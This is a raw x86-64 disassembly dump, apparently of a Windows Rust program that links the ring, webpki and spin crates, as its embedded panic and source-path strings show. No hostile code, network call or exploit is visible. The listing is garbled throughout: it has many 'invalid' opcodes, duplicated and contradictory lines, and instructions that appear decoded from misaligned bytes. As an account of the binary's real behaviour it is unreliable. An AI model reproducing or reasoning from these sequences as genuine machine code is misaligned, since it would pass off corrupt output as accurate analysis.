or dh, byte [rcx]
sal byte [rcx], 0xd2
invalid
rol byte [rbp + 0x31], cl
rol byte [rbp + 0x31], 0xc9
xor r8d, r8d
xor r9d, r9d
mov ecx, dword [0x1a7f1cdece0]
mov r10, qword gs:[0x58]
mov rcx, qword [r10 + rcx*8]
mov qword [rcx + 0x30], 1
mov qword [rcx + 0x38], r9
mov byte [rcx + 0x40], r8b
mov byte [rcx + 0x41], dl
mov edx, dword [rsp]
mov dword [rcx + 0x42], edx
movzx edx, word [rsp + 4]
mov word [rcx + 0x46], dx
mov qword [rcx + 0x48], rax
add byte [rax], al
add byte [rax - 0x3d], bl
add byte [rax], al
add byte [rax - 0x3d], bl
int1
or ebp, eax
ret 0x354
jae 0x1a7f1b89522
lea rcx, [rsi + 0x18]
call fcn.1a7f1b89471
mov qword [rsi + 0x18], 1
and qword [rsi + 0x20], 0
invalid
dec dword [rax - 0x39]
sbb byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x7d], cl
and byte [rax], al
invalid
add byte [rax - 0x75], cl
or byte [r9 - 0x77], cl
mov qword [r14], rax
mov rax, qword [rbx + 8]
mov qword [r14], rax
lea rcx, [rsp + 0x20]
call fcn.1a7f1b893ae
invalid
invalid
nop
invalid
add rsp, 0x88
pop rbx
pop rdi
invalid
add byte [rbx + 0x5f], bl
pop rsi
pop r14
ret
in al, dx
and byte [rax - 0x75], cl
xor dword [rax - 0x75], ecx
and byte [rax - 0x75], r9b
push rsi
sub al, ch
jmp 0x1a7f1b895ae
jne 0x1a7f1b89583
mov edx, 8
add byte [rax], al
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp fcn.1a7f1b62d00
invalid
call qword [rax + 0x20c48348]
nop
add rsp, 0x20
pop rsi
ret
mov qword [rdx], rcx
lea r9, [rcx + 0x18]
lea rcx, [0x1a7f1c55bd0]
or eax, 0xcc61d
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
lea rcx, [0x1a7f1c55bb0]
mov qword [rsp + 0x20], rcx
lea rdx, str.NulError
adc eax, 0xfed28
adc eax, 0xfed28
mov r8d, 8
mov rcx, rax
call fcn.1a7f1b6d4e0
nop
add rsp, 0x48
ret
mov rax, qword [rdx + 0x28]
lea rdx, [0x1a7f1c8adc0]
mov r8d, 1
call qword [rax + 0x18]
lea rsi, [rsp + 0x30]
mov qword [rsi], rdi
mov byte [rsi + 8], al
mov byte [rsi + 9], 0
lea rdi, [0x1a7f1b67790]
loope 0x1a7f1b89626
dec dword [rax - 0x73]
pop rsp
and al, 0x28
loope 0x1a7f1b89626
loope 0x1a7f1b89626
std
dec dword [rax - 0x73]
pop rsp
and al, 0x28
test r15, r15
je case.0x1a7f1b75026.141
mov qword [rsp + 0x28], r14
inc r14
inc esi
inc esi
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.1a7f1b6cf90
dec r15
jmp 0x1a7f1b8962f
mov rcx, qword [rsp + 0x30]
mov dl, byte [rsp + 0x38]
call fcn.1a7f1b6d0c0
nop
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
cmp rcx, 3
je 0x1a7f1b89732
cmp qword [0x1a7f1cdeb40], 0
mov qword [rsp + 0x28], rcx
add byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x30], rax
je 0x1a7f1b8976f
lea rcx, [rsp + 0x28]
call fcn.1a7f1b87ea2
lea rax, [0x1a7f1cdeb40]
add rsp, 0x48
ret
sub byte [rax - 0x73], cl
and al, 0x38
invalid
cmp byte [rax - 0x77], cl
add dword [rbp + rcx*4 + 0x44], ecx
and al, 0x40
mov qword [rcx], rax
lea r8, [rsp + 0x40]
mov qword [r8], rcx
lea rax, [0x1a7f1c55c68]
add eax, 0xcc515
add eax, 0xcc515
mov qword [rsp + 0x20], rax
lea rcx, [0x1a7f1cdeb48]
lea r9, [0x1a7f1c55a80]
xor edx, edx
call fcn.1a7f1c31d90
jmp 0x1a7f1b896fd
lea r8, [rsp + 0x28]
mov qword [r8], rcx
mov qword [r8 + 8], rax
lea rax, [0x1a7f1c55c50]
mov qword [rsp + 0x20], rax
lea rcx, str.The_global_thread_pool_has_not_been_initialized.
lea r9, fcn.1a7f1b87ea2
mov edx, 0x30
call fcn.1a7f1c2ff90
ud2
mov rdi, qword [rsp + 0x28]
mov qword [rsp + 0x90], rdi
cmp qword [0x1a7f1cdeb40], 0
je 0x1a7f1b89867
lea rcx, [rsp + 0x90]
call fcn.1a7f1b884dd
jmp 0x1a7f1b8986e
mov ebx, dword [rsp + 0x28]
mov eax, ebx
and eax, 3
fadd dword [rbx - 0x72b7fc20]
or eax, 0x114c49
lea rcx, [0x1a7f1c9e498]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
or dword [rax + 1], 0x8ae0ffc8
adc r11b, bpl
mov rbx, qword [rsp + 0x28]
mov al, byte [rbx + 0x10]
jmp 0x1a7f1b8989e
jmp 0x1a7f1b8990f
mov qword [0x1a7f1cdeb40], rdi
lea rbx, [0x1a7f1cdeb40]
lea ebx, [0x1a7f1cdeb40]
add byte [rdi + 3], bh
mov edi, 3
jmp 0x1a7f1b8990f
mov al, byte [rbx + 0xf]
jmp 0x1a7f1b8989e
mov rax, rbx
shr rax, 0x20
cmp eax, 0x78
je 0x1a7f1b898a2
jmp 0x1a7f1b8990a
mov rcx, rbx
shr rcx, 0x20
call fcn.1a7f1bd6ffc
cmp al, 0x24
jne 0x1a7f1b8990a
call fcn.1a7f1b8a902
test rax, rax
jne 0x1a7f1b8990a
lea rdx, [rsp + 0x90]
and qword [rdx], 0
mov qword [rdx + 0x10], 1
and qword [rdx + 0x18], 0
and qword [rdx + 0x28], 0
and qword [rdx + 0x38], 0
and qword [rdx + 0x48], 0
mov word [rdx + 0x58], 1
lea rdi, [rsp + 0x30]
mov rcx, rdi
call fcn.1a7f1b89948
cmp dword [rdi], 3
jne 0x1a7f1b89900
mov rdi, qword [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.1a7f1b8a90e
jmp 0x1a7f1b8981d
lea rcx, [rsp + 0x30]
call fcn.1a7f1b8a90e
mov edi, 2
cmp dword [rsi], 3
je 0x1a7f1b8991c
mov rcx, rsi
call fcn.1a7f1b87ea2
mov qword [rsi], rdi
mov qword [rsi + 8], rbx
add rsp, 0xf0
pop rbx
pop rdi
pop rsi
ret
add byte [rdi], cl
sub byte [rsp + 0x2e0], bh
add rsp, 0x2f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
mov r14, r8
mov rsi, rdx
mov rdi, rcx
mov rcx, qword [r8 + 0x20]
mov rax, qword [r8 + 0x28]
lea rdx, [0x1a7f1c8adc0]
mov r8d, 1
call qword [rax + 0x18]
lea rbx, [rsp + 0x30]
mov qword [rbx], r14
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
lea r14, [0x1a7f1b67790]
lea r15, [rsp + 0x28]
test rsi, rsi
je 0x1a7f1b8ed24
mov qword [rsp + 0x28], rdi
inc rdi
mov rcx, rbx
mov rdx, r15
mov r8, r14
call fcn.1a7f1b6cf90
dec rsi
jmp 0x1a7f1b8ed04
mov rcx, qword [rsp + 0x30]
mov dl, byte [rsp + 0x38]
call fcn.1a7f1b6d0c0
nop
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
cmp edi, esi
invalid
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_src_rsapadding.rs
or al, 0
mov edx, 0x19
call fcn.1a7f1c2fc60
ud2
mov rcx, rdx
jmp 0x1a7f1b8f2e6
call fcn.1a7f1c2fb60
ud2
sub edi, edx
cmp r15, r8
jbe 0x1a7f1b8f377
lea rcx, [rsi + 0x50]
lea r8, [rdx + rdi]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
sbb al, 0x77
or al, 0
sbb al, 0x77
or al, 0
call fcn.1a7f1b8f76d
sbb al, 4
add byte [rax], al
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, rbx
fmul dword [rcx - 0x77]
stc
fmul dword [rcx - 0x77]
stc
call fcn.1a7f1b66f2f
add rdi, qword [rsi + 0xd0]
jmp 0x1a7f1b8f4a7
test rdx, rdx
je 0x1a7f1b8f417
lea r12, [rsi + 0x50]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov rcx, r12
mov r8, r14
call fcn.1a7f1b8f76d
mov r13, rax
mov rbp, rdx
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov rcx, r15
mov rdx, rbx
mov r8, rdi
call fcn.1a7f1b8bdbe
mov r9, rdx
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov qword [rsp + 0x20], rcx
mov rcx, r13
mov rdx, rbp
mov r8, rax
call fcn.1a7f1b66f2f
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov r8d, 0x80
mov rcx, r14
mov rdx, r12
call fcn.1a7f1b8bdbe
mov r8, rdx
mov rcx, rsi
mov rdx, rax
call fcn.1a7f1b8f793
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.1a7f1b66eb7
mov rbx, rax
mov rdi, rdx
and qword [rsi + 0xd0], 0
test r14, r14
je 0x1a7f1b8f4bf
mov rax, rdi
xor edx, edx
div r14
mov r14, rdx
mov r15, rdi
sub r15, rdx
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov rcx, r15
mov rdx, rbx
mov r8, rdi
call fcn.1a7f1b8bdbe
mov r8, rdx
mov rcx, rsi
mov rdx, rax
call fcn.1a7f1b8f793
test r14, r14
je 0x1a7f1b8f4ae
lea rcx, [rsi + 0x50]
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov rdx, r14
call case.0x1a7f1b6fd85.214
mov r12, rax
mov r13, rdx
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.1a7f1b66eb7
mov r9, rdx
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov qword [rsp + 0x20], rcx
mov rcx, r12
mov rdx, r13
mov r8, rax
call fcn.1a7f1b66f2f
mov rdi, r14
mov qword [rsi + 0xd0], rdi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.attempt_to_divide_by_zero
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov edx, 0x19
call fcn.1a7f1c2fc60
ud2
mov dword [rsp + 0x20], ecx
mov rcx, r14
mov rdx, r15
mov r8, rax
call fcn.1a7f1b8f554
add byte [rax], al
add byte [rax], al
nop
add rsp, 0x80
add byte [rax], al
add byte [rbx + 0x5f], bl
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop r14
pop r15
ret
sar byte [rdx + 0x80], 1
add cl, ch
imul edi, dword [rsi + rdi*8 + 0x415741ff], 0x56
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x80
add byte [rax], 0
add byte [rax - 0x77], cl
invalid
mov rax, qword [rdx]
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x30], rcx
xor byte [rcx + rcx*4 + 0x4c], cl
and al, 0x38
invalid
add byte [rax], 0
add byte [rax - 0x77], cl
invalid
xor byte [rcx + rcx*4 + 0x4c], cl
and al, 0x38
invalid
cmp byte [rcx + rdi - 0x37], cl
cmp rcx, r9
jne 0x1a7f1b8f732
mov r14, r9
mov r15, qword [rsp + 0xe0]
cmp r15, r9
ja 0x1a7f1b8f753
jae 0x1a7f1b8f71e
mov rbx, r8
mov rdi, rdx
mov byte [r8 + r15], 0x80
lea rcx, [r15 + 1]
mov rdx, r14
sub rdx, qword [rax + 0x28]
cmp rdx, r15
jbe 0x1a7f1b8f5bd
mov rdx, r14
jmp 0x1a7f1b8f600
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
lea eax, [0x1a7f1c568d0]
mov qword [rsp + 0x20], rax
mov rdx, r14
mov r8, rbx
mov r9, r14
mov ecx, esi
mov ecx, esi
call fcn.1a7f1b7b187
xor ecx, ecx
invalid
cmp rdx, rcx
je 0x1a7f1b8f5e7
mov byte [rax + rcx], 0
inc rcx
jmp 0x1a7f1b8f5d9
mov rax, qword [rdi]
lea rcx, [rdi + 8]
mov r8d, 1
mov rdx, rbx
call qword [rax]
xor ecx, ecx
mov rdx, qword [rsp + 0x30]
add rdx, 0xfffffffffffffff8
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov qword [rsp + 0x20], rax
mov r8, rbx
mov r9, r14
call fcn.1a7f1b7b187
push qword [rcx]
leave
push qword [rcx]
leave
cmp rdx, rcx
je 0x1a7f1b8f62b
mov byte [rax + rcx], 0
inc rcx
jmp 0x1a7f1b8f61d
mov r13, qword [rsp + 0x30]
mov ebp, dword [rsp + 0x30]
xor ecx, ecx
leave
mov rax, r13
mul qword [rdi + 0x48]
mov r12, rax
setno cl
lea rdx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
invalid
jb 0x1a7f1b8f651
invalid
mov edx, 0xe8000c72
push rsp
ret
call fcn.1a7f1b8b99f
xor ecx, ecx
add r12, r15
setae cl
lea rdx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
lea edx, [0x1a7f1c56918]
lea edx, [0x1a7f1c56918]
add al, ch
ret
call fcn.1a7f1b8b99f
xor ecx, ecx
mov rax, r12
shr rax, 0x3d
sete cl
shl r12, 3
add ecx, dword [rax - 0x73]
adc eax, 0xc72ba
add ecx, dword [rax - 0x73]
adc eax, 0xc72ba
call fcn.1a7f1b8b99f
lea rcx, [r13 - 8]
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov qword [rsp + 0x20], rax
mov rdx, r13
mov r8, rbx
mov r9, r14
call fcn.1a7f1b7b187
bswap r12
lea r14, [rsp + 0x40]
mov qword [r14], r12
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
mov r8, r14
call fcn.1a7f1b66f2f
mov rax, qword [rdi]
lea rcx, [rdi + 8]
mov r8d, 1
mov rdx, rbx
call qword [rax]
mov rbx, qword [rdi]
mov rax, qword [rbx + 8]
movups xmm0, xmmword [rdi + 8]
movups xmm1, xmmword [rdi + 0x18]
movups xmm2, xmmword [rdi + 0x28]
movups xmm3, xmmword [rdi + 0x38]
movaps xmmword [r14 + 0x30], xmm3
movaps xmmword [r14 + 0x20], xmm2
movaps xmmword [r14 + 0x10], xmm1
movaps xmmword [r14], xmm0
lea rcx, [rsi + 8]
lea rdx, [rsp + 0x40]
call rax
mov qword [rsi], rbx
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov rcx, r15
mov rdx, r14
call fcn.1a7f1c2fb60
or al, byte [rax]
or al, byte [rax]
ud2
lea r8, [rsp + 0x40]
and qword [r8], 0
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
or al, 0
or al, 0
lea rcx, [rsp + 0x38]
and al, 0x38
lea rdx, [rsp + 0x30]
call fcn.1a7f1c30dc5
ud2
lea rcx, str.assertion_failed:_num_pending___pending.len__
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_ring_0.16.20_srcdigest.rs
mov edx, 0x2e
call fcn.1a7f1c2fc60
ud2
or al, byte [rax]
ud2
jne 0x1a7f1b8f872
mov ecx, 1
add byte [rax], al
xor eax, eax
lock cmpxchg qword [0x1a7f1cdecb8], rcx
jne 0x1a7f1b8f872
call fcn.1a7f1c20a20
mov byte [0x1a7f1cdecc0], 1
add eax, 0x14f45c
invalid
add eax, 0x14f45c
add dword [rax + 2], edi
add byte [rcx], al
mov eax, 2
xchg qword [0x1a7f1cdecb8], rax
jmp case.0x1a7f1b8f892.2
lea rcx, [0x1a7f1c9e4a8]
or eax, 0x10ec2f
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
pause
mov rax, qword [0x1a7f1cdecb8]
adc al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
or dword [rax + 1], 0x48e0ffc8
add esp, 0x28
add rsp, 0x28
ret
lea rcx, str.internal_error:_entered_unreachable_codeE:.cargo_registry_srcindex.crates.io_6f17d22bba15001fwebpki_0.22.0_srccalendar.rs
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_spin_0.5.2_srconce.rs
str word [rbp + rcx*4 + 5]
or al, 0
mov edx, 0x28
jmp 0x1a7f1b8f8c1
lea rcx, str.Once_has_panicked
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_spin_0.5.2_srconce.rs
mov edx, 0x11
call fcn.1a7f1c2fc60
ud2
mov r15, rax
mov r8, r12
mov r9, rax
call fcn.1a7f1b8db12
test al, al
jne 0x1a7f1b918ea
lea rax, [r15 - 0x81]
cmp rax, 0xffffffffffffff83
jb 0x1a7f1b918ea
invalid
and eax, 0x4ce1894c
mov edx, edi
mov rcx, r12
mov rdx, r15
call fcn.1a7f1c1f010
test rax, rax
jne 0x1a7f1b918ea
mov edx, 3
mov rcx, r12
mov r8, r15
call fcn.1a7f1c1f150
fmul dword [rax]
add byte [rax - 0x7b], cl
invalid
je 0x1a7f1b91918
fmul dword [rax]
add byte [rax - 0x7b], cl
sal byte [rsi + rbp + 0x4c], 0x89
loope 0x1a7f1b9193a
mov rcx, r12
mov rdx, r15
mov edx, edi
call fcn.1a7f1b8fceb
jmp case.0x1a7f1b61633.381
mov eax, ebp
movaps xmm6, xmmword [rsp + 0x4f0]
add rsp, 0x508
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x38], r12
mov rcx, qword [r12]
call fcn.1a7f1c20b40
or byte [rax], al
or byte [rax], al
movq xmm6, rax
lea rcx, [rsp + 0xa8]
add byte [rax - 0x39], cl
add dword [rcx], eax
add byte [rax], al
invalid
add byte [rax - 0x39], cl
add dword [rcx], eax
add byte [rax], al
add byte [rcx + rcx*4 + 0x79], cl
jns 0x1a7f1b91946
mov byte [rcx + 0x10], 0
mov qword [rcx + 8], r15
jns 0x1a7f1b91946
mov byte [rcx + 0x10], 0
mov qword [rsp + 0x30], r15
xor al, ch
fsubr st(3), st(0)
invalid
call fcn.1a7f1b8fd28
test rax, rax
je 0x1a7f1b91c06
invalid
mov cl, 2
add byte [rax], al
invalid
test byte [rcx + 0x4c000002], dh
lea esp, [rdx - 1]
add byte [rbp + rcx*4 + 0x62], cl
dec dword [rbp + 0x39]
cld
lea r12, [rdx - 1]
cmp r12, r15
jae 0x1a7f1b91df5
mov rax, qword [rsp + 0x38]
mov r14, qword [rax + rdx*8 - 8]
mov qword [rsp + 0xf0], 1
mov qword [rsp + 0xf8], 0x40
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x100], 0
and al, 0
add dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0xf0]
call fcn.1a7f1b8fd28
test rax, rax
invalid
je 0x1a7f1b919b3
sal byte [rbp + rdx + 0x49], 0x89
xlatb
mov r15, rdx
mov edi, edx
dec rdx
mov rcx, r14
call fcn.1a7f1c1f480
test rax, rax
je 0x1a7f1b9198c
invalid
fucomi st(3)
cmovl ecx, dword [rbx + 0x4830247c]
lea ecx, [rsp + 0xa8]
add byte [rax], al
invalid
jmp 0x1a7f1b919c2
mov r15, qword [rsp + 0x30]
lea rcx, [rsp + 0xa8]
add byte [rax], al
invalid
add byte [rax], al
add bl, ch
test dword [rcx - 0x3f], ecx
in al, 6
jmp 0x1a7f1b91947
shl r12, 6
add r12, r15
cld
mov r15, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], r15
movdqu xmmword [rsp + 0x100], xmm6
add byte [rax], al
add bl, dh
movq qword [rsp + 0x100], mm6
lea r14, [r12 - 1]
mov rcx, r15
dec dword [rcx + rcx*4 - 7]
call fcn.1a7f1b8fd50
mov r15, rax
mov rax, r14
shr rax, 6
mov qword [rsp + 0x50], rdx
cmp rax, rdx
jae case.0x1a7f1b92526.209
add eax, dword [rax]
invalid
dec dword [rcx - 0x77]
invalid
add eax, dword [rax]
add byte [rcx + rcx*4 + 0x64], cl
and al, 0x48
mov qword [rsp + 0x48], r12
lea r8, [r12 + 0x3f]
mov edx, 1
mov ecx, r14d
shl rdx, cl
and r8, 0xffffffffffffffc0
mov qword [r15 + rax*8], rdx
mov dword [rdi + rax*8], edx
mov dword [rdi + rax*8], edx
mov r14, qword [rsp + 0xf0]
mov esi, dword [rsp + 0xf0]
mov qword [rsp + 0x58], r8
lea r12, [r8 + 3]
cmp qword [rsp + 0x48], r12
je 0x1a7f1b91a5e
mov rcx, r15
mov rdx, r15
mov r8, r14
mov r9, qword [rsp + 0x30]
call fcn.1a7f1c1f260
dec r12
jmp 0x1a7f1b91a3f
mov r8, qword [rsp + 0x58]
shr r8, 1
call 0x1a8166da7b6
lock add byte [rax], al
invalid
call 0x1a8166da7b6
lock add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
lea esi, [rsp + 0xf0]
mov rcx, r15
mov rdx, qword [rsp + 0x50]
mov r9, r14
call fcn.1a7f1b8fd7b
invalid
dec dword [rbx + rcx*4 + 0x64]
and al, 0x38
invalid
and al, 0x38
mov qword [r14], r12
mov r15, qword [rsp + 0x30]
mov qword [r14 + 8], r15
mov qword [r14 + 0x10], rax
adc byte [rcx - 0x77], cl
push rsi
sbb bl, dh
movq qword [r14 + 0x20], mm6
jg case.0x1a7f1b5b061.362
invalid
adc byte [rcx - 0x77], cl
push rsi
sbb bl, dh
movq qword [r14 + 0x20], mm6
jg case.0x1a7f1b5b061.362
invalid
jg case.0x1a7f1b5b061.362
jbe 0x1a7f1b91abd
and byte [rbx + rcx*4 + 0x44], cl
and al, 0x40
mov r8, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
cmp r8, 0x3ff
jbe 0x1a7f1b91e1c
xchg byte [rbp + 3], ch
add byte [rax], al
xchg byte [rbp + 3], ch
add byte [rax], al
mov rdx, qword [rsp + 0x48]
mov ecx, edx
and ecx, 7
mov r10, rdx
ror byte [rcx - 0x3f], cl
invalid
invalid
ror byte [rcx - 0x3f], cl
invalid
shr edx, 3
cmp rcx, 1
sbb r10, 0xffffffffffffffff
mov rcx, r10
shr rcx, 0x3d
cmp eax, 0x248c8b4c
add byte [0x1a776c81ada], 0x17
add dword [rax], eax
invalid
stc
add dword [rcx - 0x7d], ecx
invalid
cmp eax, 0x248c8b4c
add byte [0x1a776c81ada], 0x17
add dword [rax], eax
add byte [rdx - 0x73], cl
or al, 0xd5
add byte [rax], al
add byte [rax], al
lea rcx, [r10*8]
cmp rcx, r8
cmp ecx, eax
jb case.0x1a7f1b7491c.210
cmp rdx, 0x2000
add byte [rax], ah
add byte [rax], al
and byte [rax], al
add byte [rdi], cl
xchg ecx, edi
add byte [rax], al
add byte [rcx - 0x7d], cl
std
ja case.0x1a7f1b7491c.210
cmp r13, 5
ja case.0x1a7f1b7491c.210
add eax, 0xef870f
add byte [rax], al
test r13, r13
je 0x1a7f1b91b13
cmp byte [rbx], 0
je case.0x1a7f1b7491c.210
invalid
add byte [rdi], cl
test cl, ah
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rcx], fs
and al, 8
lea rcx, [rsp + 0x108]
xor edx, edx
xor r14d, r14d
xor esi, esi
and al, 8
add dword [rax], eax
add byte [rcx], dh
rol byte [rbp + 0x31], cl
xor esi, esi
test r13, r13
xor esi, esi
test r13, r13
in eax, dx
je case.0x1a7f1b7491c.210
add byte [rax], al
movzx r8d, byte [rbx + rdx]
movzx eax, byte [rbx + rdx]
mov dh, 4
adc ecx, dword [rax - 1]
inc rdx
invalid
invalid
inc rdx
shl r14, 8
or r14, r8
or esi, eax
or esi, eax
cmp r13, rdx
jne 0x1a7f1b91b20
invalid
jrcxz 0x1a7f1b91b7f
test r8b, 1
test al, 1
je case.0x1a7f1b7491c.210
test byte [rbp + 0x49000000], ch
cmp r14, 3
cmp esi, 3
jb case.0x1a7f1b7491c.210
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
mov rdx, r14
shr rdx, 0x21
jne case.0x1a7f1b7491c.210
xchg esi, eax
add byte [rax], al
invalid
xchg esi, eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rcx + 0x10]
mov qword [rsp + 0x70], rdx
invalid
mov rdx, qword [rcx + 0x10]
mov qword [rsp + 0x70], rdx
invalid
jo 0x1a7f1b91b77
movups xmm0, xmmword [rcx]
adc byte [rcx], al
movaps xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0xa0], rdx
and al, 0xa0
add byte [rax], al
invalid
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x90], eax
add byte [rax], al
invalid
movups xmmword [rsp + 0x90], xmm0
add byte [rax], al
add byte [rcx + rcx*4 + 0x64], cl
mov qword [rsp + 0x78], r12
and al, 0x78
mov qword [rsp + 0x80], r15
and al, 0x80
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov qword [rsp + 0x40], rax
and al, 0x40
mov qword [rsp + 0x88], rax
add byte [rax], al
add byte [rbp + 0x39], cl
cmp edx, ecx
jne 0x1a7f1b91bed
add byte [rax], al
cmp r10, r9
cmp edx, ecx
jne 0x1a7f1b91bed
mov rcx, r15
stc
call fcn.1a7f1b8fd50
mov r13, rax
mov rbx, rdx
stosb byte [rdi], al
loope 0x1a7f1b91ba4
invalid
dec dword [rcx - 0x77]
invalid
mov rcx, qword [rsp + 0x578]
mov word [rax + rdi*2], fs
add eax, 0x8b480000
add byte [rax], al
invalid
invalid
xchg esp, eax
add byte [rax], al
mov rdx, qword [rsp + 0x580]
and al, 0x80
add eax, 0x89490000
add byte [rax], al
mov r8, rax
mov r9, rbx
add byte [rax], al
mov r8, rax
mov r9, rbx
call fcn.1a7f1b8db12
mov edi, 0xc084ffff
test al, al
jne 0x1a7f1b91be2
mov rcx, r13
mov ecx, ebp
mov rdx, rbx
mov r8, r12
invalid
loopne 0x1a7f1b91c22
mov r9, r15
mov ecx, edi
call fcn.1a7f1b8dbe6
or al, al
invalid
cmp rax, 0xffffffffffffffff
je case.0x1a7f1b92526.184
mov rcx, r13
mov rdx, rbx
call fcn.1a7f1b8fceb
jmp 0x1a7da93a531
lea rcx, [rsp + 0x78]
jmp 0x1a7f1b91bfc
lea rcx, [rsp + 0xf0]
mov word [rax + rsi*8], fs
add byte [rax], al
add al, ch
add ecx, esp
invalid
call fcn.1a7f1b8fd02
jmp case.0x1a7f1b61633.381
hlt
cld
invalid
invalid
hlt
xor r12d, r12d
jmp 0x1a7f1b919ce
invalid
invalid
invalid
mov rcx, r13
mov rdx, rbx
mov edx, ebx
mov edx, ebx
call fcn.1a7f1c1f040
invalid
or byte [rax], al
cmp rax, 0xffffffffffffffff
cmp eax, 0xffffffff
je 0x1a7f1b91be2
lea rax, [rsp + 0x98]
and al, 0x98
cwde
add byte [rax], al
add bl, dh
movdqu xmm6, xmmword [rax]
movdqu xmm6, xmmword [rax]
mov rbp, r15
mov ebp, edi
lea r15, [rsp + 0x100]
add byte [rax], al
add byte [rbp - 0x77], cl
mov qword [r15 - 0x10], r12
mov qword [r15 - 8], rbp
invalid
movdqu xmmword [r15], xmm6
mov qword [rsp + 0x28], rbx
pop rsp
and al, 0x28
invalid
pop rsp
and al, 0x28
mov qword [rsp + 0x20], r15
mov rcx, r13
mov ecx, ebp
mov ecx, ebp
mov rdx, r13
invalid
mov r8, qword [rsp + 0x40]
mov r9, r12
mov r9, r12
call fcn.1a7f1c0bb40
mov qword [r15 - 0x10], r12
invalid
mov qword [r15 - 8], rbp
loopne 0x1a7f1b91bfc
invalid
add byte [rbp - 0x77], cl
invalid
invalid
movdqu xmmword [r15], xmm6
movq qword [r15], mm6
movq qword [rdi], mm6
lea r9, [rsp + 0xf0]
mov rcx, r13
mov rdx, rbx
mov r8, r14
call fcn.1a7f1b8fd7b
clc
loopne 0x1a7f1b91c81
dec dword [rax - 0x77]
ret
fimul dword [rbp - 0x77]
invalid
clc
